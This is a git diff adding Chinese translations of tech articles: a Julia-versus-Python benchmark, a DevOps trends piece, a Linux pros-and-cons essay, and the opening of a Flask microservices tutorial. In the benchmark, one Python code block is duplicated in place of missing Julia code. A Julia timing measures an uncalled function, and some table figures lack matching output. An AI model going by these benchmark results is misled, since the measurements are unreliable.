https://opensource.com/open-organization/18/6/summer-reading-2018 +[36]: https://opensource.com/life/16/6/2016-summer-reading-list +[37]: https://opensource.com/life/15/6/2015-summer-reading-list +[38]: https://opensource.com/life/14/6/annual-reading-list-2014 +[39]: https://opensource.com/life/13/6/summer-reading-list-2013 +[40]: https://opensource.com/life/12/7/your-2012-open-source-summer-reading +[41]: https://opensource.com/life/11/7/summer-reading-list +[42]: https://opensource.com/life/10/8/open-books-opensourcecom-summer-reading-list diff --git a/published/202210/20220902 Julia and Python- Which Language is Quicker-.md b/published/202210/20220902 Julia and Python- Which Language is Quicker-.md new file mode 100644 index 0000000000..c5f824072b --- /dev/null +++ b/published/202210/20220902 Julia and Python- Which Language is Quicker-.md @@ -0,0 +1,272 @@ +[#]: subject: "Julia and Python: Which Language is Quicker?" +[#]: via: "https://www.opensourceforu.com/2022/09/julia-and-python-which-language-is-quicker/" +[#]: author: "B Thangaraju https://www.opensourceforu.com/author/b-thangaraju/" +[#]: collector: "lkxed" +[#]: translator: "Return7g" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15096-1.html" + +Julia 和 Python,哪一个更快? +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/02/122529vdztvds1ttqez1ts.jpg) + +Julia 是一门高度抽象的动态编程语言。虽然它是一门能够开发所有程序的通用语言,但它有几个特点,非常适用于科学计算和数值计算。Python 在 1990 年初作为一种简单的面向对象的程序语言出现,如今已经有了显著的发展。本文将从它们在神经网络和机器学习的性能表现上进行讨论。 + +Julia 的架构以动态语言中的参数多态性parametric polymorphism多重派发multiple dispatch的编程范式为主要特色。它允许使用或不使用消息传递接口message passing interface(MPI)或内置的 “OpenMP 式” 线程进行并发、并行和分布式计算,以及直接调用 C 和 FORTRAN 库而无需额外的代码。Julia 使用 即时just-in-time(JIT)编译器,Julia 社区将其称为 “即时预编译just-ahead-of-time(JAOT)”,因为它在运行之前默认将所有代码编译为机器码。 + +与 Python 不同,Julia 是专为统计学和机器学习而设计的。Julia 可以快速的完成线性代数的运算,但 Python 很慢。这是因为 Python 从来都不是为了适应机器学习用到的矩阵和方程而设计的。Python 本身并不差,特别是 Numpy,但在没有使用包的情况下,Julia 更像是为数学量身定制的。相比 Python,Julia 的运算符更像 R,这是一个显著的优势。大部分的线性代数运算可以用更少的时间和精力去完成。 + +众所周知,近年来 Python 在机器学习和数据科学领域占据主导地位。因为在 Python 中我们可以使用各种各样的第三方库来帮助我们编写机器学习的代码。虽然 Python 有这么多优势,但仍有一个主要的缺点——它是一门解释性语言,速度非常慢。现在是数据时代,数据越多我们处理它的时间就越长,这也是 Julia 出现的理由。 + +到目前为止,有关 Julia 的研究工作都集中在高性能或者 Julia 的科学计算能力等主题上。但在这里,我们将讨论 Julia 不仅能够有效地处理复杂的科学计算,还能够处理基于商业的问题,以及像 Python 一样处理机器学习和神经网络。 + +### 实验目标与实验设计 + +Julia 像 Python 一样简洁,但却像 C 一样是一门编译语言。首先我们来测试 Julia 要比 Python 快多少。为此,我们先在一些简单的程序上测试它们,然后来到我们实验的重点,测试它们的机器学习和深度学习能力。 + +Julia 和 Python 都提供了许多库和开源的基准测试工具。为了在 Julia 中进行基准测试和计算时间,我们使用了 `CPUTime` 和 `time` 库;对于 Python,我们同样使用了 `time` 模块。 + +### 矩阵乘法 + +一开始我们尝试了简单的算术运算,但由于这些运算不会产生太大的时间差异,我们决定比较矩阵乘法的时间差异。我们创建了两个 `(10 * 10)` 的随机浮点数矩阵,并对它们施以点积。众所周知,Python 有一个 `Numpy` 库,常被用于计算矩阵和向量。而 Julia 也有一个 `LinearAlgebra` 库,常用于计算矩阵和向量。因此我们分别比较了各自使用和不使用库的矩阵乘法的耗时。本文用到的所有源码已经放在了 [GitHub 存储库][1]。下面给出了用 Julia 编写的 10×10 矩阵乘法程序: + +``` +@time LinearAlgebra.mul!(c,x,y) + +function MM() +x = rand(Float64,(10,10)) +y = rand(Float64,(10,10)) +c = zeros(10,10) + +for i in range(1,10) +for j in range(1,10) +for k in range(1,10) +c[i,j] += x[i,k]*y[k,j] +end +end +end +end +@time MM + +0.000001 seconds +MM (generic function with 1 method) +``` + +Julia 使用库耗时 0.000017 秒,使用循环耗时 0.000001 秒。 + +使用 Python 编写相同的矩阵乘法程序如下。 从结果可以发现,与不使用库相比,使用库的程序花费的时间更少: + +``` +import numpy as np +import time as t +x = np.random.rand(10,10) +y = np.random.rand(10,10) +start = t.time() +z = np.dot(x, y) +print(“Time = “,t.time()-start) +Time = 0.001316070556640625 + +import random +import time as t +l = 0 +h= 10 +cols = 10 +rows= 10 + +choices = list (map(float, range(l,h))) +x = [random.choices (choices , k=cols) for _ in range(rows)] +y = [random.choices (choices , k=cols) for _ in range(rows)] + +result = [([0]*cols) for i in range (rows)] + +start = t.time() + +for i in range(len(x)): +for j in range(len(y[0])): +for k in range(len(result)): +result[i][j] += x[i][k] * y[k][j] + +print(result) +print(“Time = “, t.time()-start) + +Time = 0.0015912055969238281 +``` + +Python 使用库耗时 0.0013 秒,使用循环耗时 0.0015 秒。 + +### 线性搜索 + +我们进行的下一个实验是对十万个随机生成的数字进行线性搜索。这里使用了两种方法,一种是使用 `for` 循环,另一种是使用运算符。我们使用 1 到 1000 的整数执行了 1000 次搜索,正如你在下面的输出中看到的那样,我们还打印了我们在数据集中找到了多少个整数。下面给出了使用循环和使用 `IN` 运算符的时间。这里我们使用了 CPU 3 次运行时间的中位数。 + +使用 Julia 编写的程序和运行结果如下: + +(LCTT 译注:此处原文缺失 Julia 代码) + +使用 Python 编写的程序和运行结果如下: + +``` +import numpy as np +import time as t +x = np.random.rand(10,10) +y = np.random.rand(10,10) +start = t.time() +z = np.dot(x, y) +print(“Time = “,t.time()-start) +Time = 0.001316070556640625 + +import random +import time as t +l = 0 +h= 10 +cols = 10 +rows= 10 + +choices = list (map(float, range(l,h))) +x = [random.choices (choices , k=cols) for _ in range(rows)] +y = [random.choices (choices , k=cols) for _ in range(rows)] + +result = [([0]*cols) for i in range (rows)] + +start = t.time() + +for i in range(len(x)): +for j in range(len(y[0])): +for k in range(len(result)): +result[i][j] += x[i][k] * y[k][j] + +print(result) +print(“Time = “, t.time()-start) + +Time = 0.0015912055969238281 +``` + +``` +FOR_SEARCH: +Elapsed CPU time: 16.420260511 seconds +matches: 550 +Elapsed CPU time: 16.140975079 seconds +matches: 550 +Elapsed CPU time: 16.49639576 seconds +matches: 550 + +IN: +Elapsed CPU time: 6.446583343 seconds +matches: 550 +Elapsed CPU time: 6.216615487 seconds +matches: 550 +Elapsed CPU time: 6.296716556 seconds +matches: 550 +``` + +从以上结果来看,在 Julia 中使用循环和运算符并不会产生显著的时间差异。但是在 Python 中循环几乎比运算符 IN 多花了三倍的时间。有趣的是,在这两种情况下,Julia 都比 Python 快得多。 + +### 线性回归 + +下一个实验是测试机器学习算法。我们选择了以一种最常见和最简单的机器学习算法,使用简单数据集的线性回归。我们使用了一个包含 237 条数据的数据集 “Head Brain”,数据集的两列分别为 “HeadSize” 和 “BrainWeight”。接下来,我们使用 “head size” 数据去计算 “brain weight”。在 Python 和 Julia 中我们都没有使用第三方库,而是从零实现了线性回归算法。 + +Julia: + +``` +GC.gc() +@CPUtime begin +linear_reg() +end +elapsed CPU time: 0.000718 seconds +``` + +Python: + +``` +gc.collect() +start = process_time() +linear_reg() +end = process_time() + +print(end-start) +elapsed time: 0.007180344000000005 +``` + +上面给出了 Julia 和 Python 所花费的时间。 + +### 逻辑回归 + +接下来,我们使用两种语言的库对最常见的机器学习算法(即逻辑回归)进行了实验。对于 Python 我们使用最常见的库 `sklearn`;对于 Julia,我们使用 `GLM` 库。我们在这里用到的数据集是有关银行客户的信息,其中包含 10,000 个数据条目。目标变量是一个二元变量,区分消费者是否继续使用银行账户。 + +下面给出了 Julia 进行逻辑回归所花费的时间: + +``` +@time log_rec() +0.027746 seconds (3.32 k allocations: 10.947 MiB) +``` + +下面给出了 Python 进行逻辑回归所花费的时间: + +``` +gc.collect() +start = process_time() +LogReg() +end = process_time() +print(end-start) + +Accuracy : 0.8068 +0.34901400000000005 +``` + +### 神经网络 + +在各种程序和数据集上测试这两种语言后,我们在神经网络上使用 MNIST 数据集继续测试它们。该数据集包含从零到九的手绘数字的灰度图像。每张图像为 28×28 像素。每个像素值表示该像素的亮度或暗度,该值是包含 0 到 255 之间的整数。该数据还包含一个标签列,该列表示在相关图像中绘制的数字。 + +![Figure 1: Example of MNIST data set][2] + +图 1 是 MNIST 数据集的示例。 + +对两种语言我们都建立了一个简单的神经网络来测试它们耗费的时间。神经网络的结构如下: + +``` +Input ---> Hidden layer ---> Output +``` + +该神经网络包含了一个输入层、隐层还有输出层。为了避免神经网络的复杂度过高,我们对数据集没有进行任何的预处理工作。在 Julia 和 Python 中我们都进行了40次训练并比较它们的时间差异。 + +![Figure 2: Julia takes 5.76 seconds in a neural network][3] + +在 Julia 中,`Flux` 库通常被用于建立神经网络;在 Python 中我们常使用 `Keras` 库。图 2 展示了 Julia 在神经网络上的耗时。图 3 展示了 Python 的神经网络经过了若干次训练的耗时。 + +![Figure 3: Python takes 110.3 seconds in a neural network][4] + +这个结果展示了 Julia 和 Python 在处理神经网络时存在巨大的时间差异。 + +表 1 总结了此次实验的测试结果并计算了 Julia 和 Python 时间差异的百分比。 + +| 实验 | Julia(秒) | Python(秒) | 时间差(%) | +| :- | :- | :- | :- | +| 矩阵乘法(不使用库) | 0.000001 | 0.0015 | 99.9 | +| 矩阵乘法(使用库) | 0.000017 | 0.0013 | 98.69 | +| 线性搜索(使用循环) | 0.42 | 16.4 | 97.43 | +| 线性搜索(使用 IN 操作符) | 0.43 | 6.2 | 93.06 | +| 线性回归 | 0.000718 | 0.00718 | 90 | +| 逻辑回归 | 0.025 | 0.34901 | 92.83 | +| 神经网络 | 5.76 | 110.3 | 94.77 | + +我们进行的所有实验都表明,随着程序复杂性以及数据集大小的增加,Julia 和 Python 之间的执行时间差异也会增加。由这个结果我们可以推断,Julia 是一门更适合机器学习和神经网络的编程语言。 + + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/julia-and-python-which-language-is-quicker/ + +作者:[B Thangaraju][a] +选题:[lkxed][b] +译者:[Return7g](https://github.com/Return7g) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/b-thangaraju/ +[b]: https://github.com/lkxed +[1]: https://github.com/mr-nerdster/Julia_Research.gitsee +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/07/Figure-1-Example-of-MNIST-data-set.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/07/Figure-2-Julia-takes-5.76-seconds-in-a-neural-network.jpg +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/07/Figure-3-Python-takes-110.3-seconds-in-a-neural-network.jpg diff --git a/published/202210/20220902 Where is DevOps Headed-.md b/published/202210/20220902 Where is DevOps Headed-.md new file mode 100644 index 0000000000..3b36cba648 --- /dev/null +++ b/published/202210/20220902 Where is DevOps Headed-.md @@ -0,0 +1,53 @@ +[#]: subject: "Where is DevOps Headed?" +[#]: via: "https://www.opensourceforu.com/2022/09/where-is-devops-headed/" +[#]: author: "Bhagvan Kommadi https://www.opensourceforu.com/author/bhagvan-kommadi/" +[#]: collector: "lkxed" +[#]: translator: "Yufei-Yan" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15117-1.html" + +DevOps 将去向何方? +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/07/DevOps.jpg) + +> 微软、谷歌、亚马逊、IBM 和甲骨文如今都在关注云上的 DevOps。这些大公司正在给企业提供 IT 自动化的服务。然而,DevOps 仍然在持续的演进中。DevSecOps、AIOps 和 NoOps 正在成为下一个流行词。 + +随着开发和管理人员看到及时交付高质量软件的商业价值,敏捷Agile方法论和 DevOps 也变得流行起来。拥有灵活的发布周期,并且交付具有可扩展scalable可定制customizable的软件,是世界上每个企业的目标。通过将 CI/CD 工具和管道pipeline部署到云端,DevOps 使发布过程变得更加流畅。融合了 DevOps 的 Polyglot 微服务架构正在帮助企业降低总拥有成本(TCO)。他们现在有能力用渐进式网络应用程序和最新的 UI 框架升级他们的技术栈。总的来说,团队正在以更好的效率执行任务,并且正在开发高质量的软件模块。 + +### 自治 DevOps + +容器和 DevOps 与云原生应用走到了一起。Kubernetes 和 Docker 正在被用作容器,一个新的名词 NoOps 现在正在流行。对于不同的容器,编排Orchestration都是一个重要的功能。为了扩展应用,开发环境中要创建容器集群。有一些新的容器正在进入云原生应用这个领域,比如 Mesos、Swarm、Openshift Rancher 和 Nomad。NoOps 有助于缩短编码周期,从而监控和管理应用程序。缺陷修复和热修复是不同的活动,它们都是 NoOps 的一部分。NoOps 有助于提高技术团队和业务运营人员之间的协同作用。它也有助于更好的监控、管理和流程自动化。NoOps 基础设施能够控制应用程序在云上的部署。企业从中获得的好处包括更好的交付、弹性的服务、更快的发布、良好的质量和 CI/CD 自动化。 + +### DevSecOps + +DevSecOps 算是另一个流行趋势,它与在开发操作中的安全问题有关。最近与漏洞vulnerabilities(log4j),安全泄露security breach(谷歌、脸书、微软),和安全攻击相关的问题增加了 DevSecOps 在企业中的重要性。左移shift left方法强调了在软件生命周期的早期处理安全性和质量的重要性。在架构阶段就需要考虑隐私和遵从性compliances(如 GDPR)。这有助于降低成本,并且提升软件交付的速度。审计工具和安全检查列表是 DevOps 工具和系统的一部分,现在我们称为 DevSecOps。 + +### AIOps + +AI DevOps 现在被称为 AIOps。据预测,将来 AI 应用会由 AIOps 来管理。与 AIOps 相关的工具和软件正在开发中,并且将很快发布首个版本。AI/ML 应用部署和模型更新可以由 AIOps 来处理。这将在工业 4.0Industry 4.0 以及数据科学中扮演重要角色。有一种观点认为,NoOps 将会是 AIOps 的最终形态。AIOps 包括数据集管理、模型训练、模型服务、元数据管理、模型更新和服务更新。分布式训练将由 AIOps 来完成,这会提供超参数hyper parameter优化,工作流程管理和“假设what if”的分析能力。 + +### 微服务配置管理 + +当前,DevOps 和微服务正在成为标准部署和架构蓝图architectural blueprints来实施。应用可以在模块级别上就进行扩展。微服务可以在简化缺陷修复和问题区域隔离上提供帮助。经过设计,微服务可以通过添加更多计算能力computing power实例instances来进行扩展。但是当它们没有被正确实现的时候,数据安全和管理的问题就会突然出现。 + +### 平台即产品 + +云上的软件即服务Software as a Service平台即产品Platform as a Product最近非常流行。通过加速向平台部署和功能交付,DevOps 使这些变成现实。从编码到上线阶段,CI/CD 管道有助于可视化应用的部署。持续交付、集成和部署都是 DevOps 的一部分。DevOps 生产线模拟工业生产线是未来要关注的。 + +DevOps 正在慢慢地向 DevSecOps 和 AIOps 转变。对于企业,NoOps 才是未来。现在需要的是减少与安全相关的攻击、事故和破坏发生。对于企业来说,数据安全和隐私的优先级更高,并且这些新技术都将在这方面有所帮助。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/where-is-devops-headed/ + +作者:[Bhagvan Kommadi][a] +选题:[lkxed][b] +译者:[Yufei-Yan](https://github.com/Yufei-Yan) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/bhagvan-kommadi/ +[b]: https://github.com/lkxed diff --git a/published/202210/20220906 Advantages and Disadvantages of Using Linux.md b/published/202210/20220906 Advantages and Disadvantages of Using Linux.md new file mode 100644 index 0000000000..8631bff860 --- /dev/null +++ b/published/202210/20220906 Advantages and Disadvantages of Using Linux.md @@ -0,0 +1,260 @@ +[#]: subject: "Advantages and Disadvantages of Using Linux" +[#]: via: "https://itsfoss.com/advantages-linux/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15136-1.html" + +使用 Linux 的优势和劣势 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/13/000526wn58kyntpp0ynt0z.jpg) + +Linux 是一个流行词,你到处都能听到与 Linux 相关的内容。人们在技术论坛上讨论它、Linux 是课程中的一部分;你最喜欢的 YouTube 技术主播在兴奋地展示构建他们的 Linux 内核;你在 Twitter 上关注的 10 倍效率开发者10x developers都是 Linux 粉丝。 + +基本上,Linux 无处不在,每个人都在谈论它,因此你可能会不自主地陷入到对错失了 “学习 Linux” 的不安中。 + +所以,你想知道 Linux 的优势是什么,以及它是否值得去学习。 + +在这篇文章中,我总结了很多 Linux 的优势和劣势。 + +如果你在选择 Linux 还是你喜欢的操作系统上犹豫不决,我们愿意为你提供一些帮助。 + +> 在开始之前,我们要指出的是,“Linux” 本身并不是一个操作系统,它的操作系统被称为 [Linux 发行版][1],而且 Linux 的发行版有数百种。为简单起见,我将其称为 Linux 操作系统,而不是某个特定的 Linux 发行版。可以参考 [这篇文章][2],来更好地理解这些东西。 + +### 使用 Linux 的优势 + +如果你想使用 Linux 替代现在的操作系统,那么只有当你了解 Linux 的优势,才会有意义。 + +如果 Linux 在你想要它做的事情上表现出色,你将永远都不会后悔你的决定。 + +#### 不用购买许可证 + +![open source proprietary illustration][3] + +你需要拥有苹果公司的设备,才能使用 macOS 作为日常使用;你需要拥有 Windows 许可证,才能使用微软的 Windows。 + +因此,你需要对这些东西进行一定的投资。但是,对于 Linux 呢?它是完全免费的! + +与 Windows 和 macOS 相比,不仅仅是操作系统上的不同,Linux 上还有许多免费的软件包。 + +你无需支付许可证费用,就可以使用所有主流的 Linux 发行版。当然,你可以选择捐赠来支持该项目,但这完全取决于你自己的意愿。 + +**此外**,Linux 是完全开源的,这意味着所有人都能检查源代码的透明度。 + +#### 能以最小的系统资源运行 + +![linux mint 21 resource usage][4] + +通常,用户考虑尝试另一个操作系统,是因为他们对现有系统的性能感到沮丧。 + +这也是我的个人经历。我受朋友的委托,使用 Linux 来更新他们的旧笔记本电脑或经常滞后的系统。 + +而且,Linux 发行版能够在普通的硬件配置上运行,你不需要拥有最新最好的硬件。此外,还有专门的 [轻量级 Linux 发行版][5] 可以在较旧的硬件上运行而不会出现问题。 + +因此,如果你立即使用 Linux,你有更多的机会恢复你的旧系统,或在短时间内获得一个快速的计算机。 + +#### 更少地受到恶意软件的威胁 + +![malware illustration][6] + +没有操作系统可以免受恶意文件或脚本的侵害。如果你从未知来源下载并运行某些内容,则无法保证其安全性。 + +然而,对于 Linux,情况会更好一些。诚然,研究人员已经发现了针对 Linux 物联网设备的攻击者。但是,对于桌面 Linux,还无须担心。 + +恶意攻击者攻击的目标是更受家庭欢迎的平台,而 Linux 在桌面领域并没有很大的市场份额来吸引到这种关注。在某种程度上,这可能是一件好事。 + +你要做的就是坚持使用官方软件包,并在执行任何操作之前阅读指导说明。 + +另外,在 Linux 上,你也不用安装防病毒程序,来保护本机免受恶意软件的威胁。 + +#### 可个性化定制 + +![Pop!_OS 22.04 LTS][7] + +有了开源的代码,你就可以根据需要自由定制你的 Linux 体验。 + +当然,你需要具备一些专业知识,才能充分地定制你的 Linux。但是与 macOS 和 Windows 相比,即使你没有任何经验,也可以在 Linux 操作系统中获得更多自定义功能。 + +![Customized Linux experience | Reddit user: u/ZB652][8] + +如果你想要个性化你的体验,并愿意付出额外的努力,那么 Linux 就非常适合你。例如,你可以参考 [KDE 定制指南][10] 和 [停靠区选项][11] 以获得基本的自定义方法。 + +#### 适用于所有人 + +使用 macOS 或 Windows,你只能在微软或苹果最终确定的设计/偏好选择中,做出你的选择。 + +但是,对于 Linux,你能发现专注于各种事情的不同的 Linux 发行版。 + +例如,你可以选择能始终获取最新功能的 Linux 发行版,或者你也可以选择只为你提供安全/维护更新的 Linux 发行版。 + +你可以使用有开箱即用、外观好看的 Linux 发行版,或提供最大程度的自定义选项的 Linux 发行版。Linux 发行版的选择是多种多样的。 + +我建议你从 [能提供最佳用户体验的选项][12] 开始。 + +#### 完整的开发环境 + +如果你是软件开发人员或学习编程的学生,Linux 绝对是有优势的。许多构建工具都能在 Linux 上使用,并能够集成到 Linux 中。使用容器(Docker),你可以轻松创建专门的测试环境。 + +微软知道这个价值,因此它创建了 WSL,让开发人员可以在 Windows 内访问 Linux 环境。尽管如此,WSL 并没有接近真正的 Linux 体验,在 Windows 上使用 Docker 也同样如此。 + +但是这并不适用于网页设计,因为极为好用的 Adobe 工具并不能在 Linux 上使用。但是,如果你的工作不需要 Adobe,Linux 会是一个不错的选择。 + +#### Linux 是一项必须学习的技能! + +使用 Linux 有一个学习曲线,刚开始时掌握的速度最快,之后则逐渐变得平缓,但是它给你提供了对各种事物的洞察力。 + +你可以通过探索和自由定制 Linux,或者仅仅是通过使用它,来了解操作系统中的事物是如何工作的。 + +不是每个人都知道如何使用 Linux。 + +因此,通过学习 Linux 来获得和扩展你对软件和计算机的知识会是一项很棒的技能。 + +#### Linux 是一个必要的工作技能 + +![job illustration][13] + +正如我之前提及的,学习 Linux 是一个很好的技能,这不仅仅能增长你的知识,它在职业方面也很有用。 + +通过学习 Linux 的基础知识,你可以成为 Linux 系统管理员或安全专家,并且能胜任很多其他的工作。 + +因此,学习 Linux 开辟了一系列机会! + +#### 保护隐私 + +如果你没有微软账号,那么你就不能使用 Windows。当你启动 Windows 时,你会发现它会在很多的服务和应用中记录你的数据。 + +![privacy windows][14] + +虽然你可以找到此类设置并禁用它们,但很明显,Windows 的默认配置不会考虑你的隐私。 + +而在 Linux 中,并非如此。虽然某些应用程序/发行版会有一个可选功能,让你可以与他们分享有用的东西,但这并不是什么大问题。Linux 上的大多数东西都是经过定制的,默认情况下可以为你提供最大的隐私,从而无需配置任何东西。 + +但是,苹果和微软会采用巧妙的策略从你的计算机收集匿名的使用数据。偶尔,他们会记录你在他们的应用商店的活动,以及当你通过你的账户登录时的信息。 + +#### 自定义项目和自托管 + +你是一个喜欢捣鼓小发明的人吗?如果你喜欢制作电子或软件项目,Linux 会是你的发明天堂。 + +你可以在 [诸如树莓派这样的单板机][15] 上使用 Linux,开发出一些很酷的东西,例如复古游戏机、家庭自动化系统等等。 + +你也能在你自己的服务器上部署开源的软件,并维护他们。这称为自托管,它有以下的优点: + +* 减少托管费用 +* 掌控你的数据 +* 对于你的每个需求,定制应用/服务 + +你能直接使用 Linux 或者使用基于 Linux 的工具,来做这所有的事情。 + +### 使用 Linux 的劣势 + +Linux 并不是一个没有缺点的选择。任何事都具有两面性,Linux 也有一些不好的地方,包括: + +#### 不容易快速上手 + +![too much learn illustration][16] + +学习的目的通常不在于掌握一项新技能,更重要的是尽可能快地适应。 + +如果用户使用某一个东西,却无法完成任务,那么它并不适合他们。对于每个操作系统也是如此。例如,使用 Windows/macOS 的用户可能不会很快适应 Linux。 + +你可以阅读我们的比较文章以了解 [macOS 和 Linux 之间的区别][17]。 + +我同意一些人会比其他人学习速度更快。但是,总体而言,当你踏入 Linux 世界时,你需要付出一点努力,去学习那些不明显的东西。 + +#### 多样性 + +虽然我们建议使用 [为初学者量身定制的最佳 Linux 发行版][18],但一开始就选择你喜欢的版本,可能会让人不知所措。 + +你可能会想尝试其中多个版本,以查看最适合你的 Linux 发行版,但是这既耗时又令人十分困惑。 + +最好选择其中一种 Linux 发行版。但是,如果你仍然感到困惑,你可以仍旧使用 Windows/macOS。 + +#### 在桌面领域的市场份额相对较低 + +![linux desktop market share][19] + +Linux 不是流行的桌面操作系统。 + +这不应该是用户关心的问题。但是,如果没有大的市场占有率,就不能指望应用程序开发人员为 Linux 开发/维护工具。 + +当然,现在 Linux 有很多重要且流行的工具,比以往任何时候都多。但是,这仍然是一个因素,意味着并非所有好的工具/服务都可以在 Linux 上运行。 + +请参阅我们定期更新的关于 [Linux 的市场份额][20] 的文章,了解相关内容。 + +#### 缺少专有软件 + +正如我上面提到的,并不是开发者都对将他们的工具/应用程序引入 Linux 感兴趣。 + +因此,你可能在 Linux 上找不到适用于 Windows/macOS 的所有优质专有产品。诚然,你可以使用兼容层在 Linux 上运行 Windows/macOS 程序。 + +但这并不总是有效。例如,你没有支持 Linux 的官方微软 365 和像 Wallpaper Engine 这样的工具。 + +#### 不是游戏优先的操作系统 + +![gaming illustration][21] + +如果你想在电脑上玩游戏,Windows 仍然是支持最新硬件和技术的最佳选择。 + +谈到 Linux,有很多 “如果和但是” 需要一个明确的答案。 + +请注意,你可以在 Linux 上玩很多现代游戏,但在各种不同的硬件上可能不会有一致的体验。正如我们的一位读者在评论中建议的那样,你可以使用 Steam Play 在 Linux 上尝试许多 Windows 独占的游戏,而不会出现潜在的障碍。 + +Steam Deck 正在鼓励更多的游戏开发者使他们的游戏在 Linux 上运行得更好。而且,这在不久的将来只会得到改善。因此,如果你能花点功夫在 Linux 上尝试你最喜欢的游戏,可能不会让人失望。 + +话虽如此,在 Linux 上玩游戏并不方便。如果你有兴趣,可以参考我们的 [Linux 游戏指南][22] 以了解更多信息。 + +#### 缺少专业的技术支持 + +我知道不是每个人都需要技术支持。但是,一些技术支持选项能够在他们的笔记本电脑或计算机上远程指导用户/修复问题。 + +使用 Linux,你可以向社区寻求帮助,但它可能不像某些专业技术支持服务那样好用。 + +你仍然需要自己完成大部分努力,并自己尝试一些东西,并不是每个人都喜欢这样做的。 + +### 总结 + +我主要是 Linux 用户,但我在玩游戏时使用 Windows。虽然我偏好 Linux,但我尽力在这篇文章中对 Linux 保持中立态度,并给你足够的指导,以便你可以决定 Linux 是否适合你。 + +如果你打算使用 Linux,并且从未使用过它,请迈出你的第一步吧,可以参考 [在虚拟机中使用 Linux 的第一步][23]。如果你有 Windows 11,你也可以使用 WSL2。 + +我非常乐意收到你的评价和建议。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/advantages-linux/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/what-is-linux/ +[2]: https://itsfoss.com/what-is-linux/ +[3]: https://itsfoss.com/wp-content/uploads/2022/08/open-source-proprietary-illustration.jpg +[4]: https://itsfoss.com/wp-content/uploads/2022/08/linux-mint-21-resource-usage.jpg +[5]: https://itsfoss.com/lightweight-linux-beginners/ +[6]: https://itsfoss.com/wp-content/uploads/2022/09/malware-illustration.jpg +[7]: https://itsfoss.com/wp-content/uploads/2022/08/pop-os-screenshot-2022.png +[8]: https://itsfoss.com/wp-content/uploads/2022/09/customization-reddit-unixporn.jpg +[9]: https://www.reddit.com/r/unixporn/comments/wzu5nl/plasma_cscx2n/ +[10]: https://itsfoss.com/kde-customization/ +[11]: https://itsfoss.com/best-linux-docks/ +[12]: https://itsfoss.com/beautiful-linux-distributions/ +[13]: https://itsfoss.com/wp-content/uploads/2022/09/job-illustration.jpg +[14]: https://itsfoss.com/wp-content/uploads/2022/09/privacy-windows.webp +[15]: https://itsfoss.com/raspberry-pi-alternatives/ +[16]: https://itsfoss.com/wp-content/uploads/2022/09/too-much-learn-illustration.jpg +[17]: https://itsfoss.com/mac-linux-difference/ +[18]: https://itsfoss.com/best-linux-beginners/ +[19]: https://itsfoss.com/wp-content/uploads/2017/09/linux-desktop-market-share.jpg +[20]: https://itsfoss.com/linux-market-share/ +[21]: https://itsfoss.com/wp-content/uploads/2022/08/gaming-illustration.jpg +[22]: https://itsfoss.com/linux-gaming-guide/ +[23]: https://itsfoss.com/why-linux-virtual-machine/ diff --git a/published/202210/20220912 Python Microservices Using Flask on Kubernetes.md b/published/202210/20220912 Python Microservices Using Flask on Kubernetes.md new file mode 100644 index 0000000000..97cd07229d --- /dev/null +++ b/published/202210/20220912 Python Microservices Using Flask on Kubernetes.md @@ -0,0 +1,527 @@ +[#]: subject: "Python Microservices Using Flask on Kubernetes" +[#]: via: "https://www.opensourceforu.com/2022/09/python-microservices-using-flask-on-kubernetes/" +[#]: author: "Krishna Mohan Koyya https://www.opensourceforu.com/author/krishna-mohan-koyya/" +[#]: collector: "lkxed" +[#]: translator: "MjSeven" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15154-1.html" + +在 Kubernetes 上使用 Flask 搭建 Python 微服务 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/19/124429nmw0xmfz3x3mrrf2.jpg) + +*微服务遵循领域驱动设计(DDD),与开发平台无关。Python 微服务也不例外。Python3 的面向对象特性使得按照 DDD 对服务进行建模变得更加容易。本系列的第 10 部分演示了如何将用户管理系统的查找服务作为 Python 微服务部署在 Kubernetes 上。* + +微服务架构的强大之处在于它的多语言性。企业将其功能分解为一组微服务,每个团队自由选择一个平台。 + +我们的用户管理系统已经分解为四个微服务,分别是添加、查找、搜索和日志服务。添加服务在 Java 平台上开发并部署在 Kubernetes 集群上,以实现弹性和可扩展性。这并不意味着其余的服务也要使用 Java 开发,我们可以自由选择适合个人服务的平台。 + +让我们选择 Python 作为开发查找服务的平台。查找服务的模型已经设计好了(参考 2022 年 3 月份的文章),我们只需要将这个模型转换为代码和配置。 + +### Pythonic 方法 + +Python 是一种通用编程语言,已经存在了大约 30 年。早期,它是自动化脚本的首选。然而,随着 Django 和 Flask 等框架的出现,它的受欢迎程度越来越高,现在各种领域中都在应用它,如企业应用程序开发。数据科学和机器学习进一步推动了它的发展,Python 现在是三大编程语言之一。 + +许多人将 Python 的成功归功于它容易编码。这只是一部分原因。只要你的目标是开发小型脚本,Python 